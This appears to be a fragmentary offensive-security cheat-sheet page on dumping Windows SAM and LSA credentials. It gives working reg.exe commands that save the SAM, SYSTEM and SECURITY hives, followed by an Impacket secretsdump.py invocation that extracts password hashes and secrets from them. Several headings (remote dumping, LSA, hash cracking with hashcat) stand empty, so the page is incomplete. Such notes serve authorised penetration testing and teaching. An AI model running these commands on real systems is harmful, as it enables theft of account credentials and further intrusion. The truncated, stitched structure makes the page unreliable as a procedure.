SAM/LSA
Local Dumping
Dumping Registry Hives using reg.exe
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation Remote Dumping
Dumping LSA (hklm\security)
Dumping SAM (hklm\sam)
Cracking hashes
Cracking hashes with hashcat
Last updated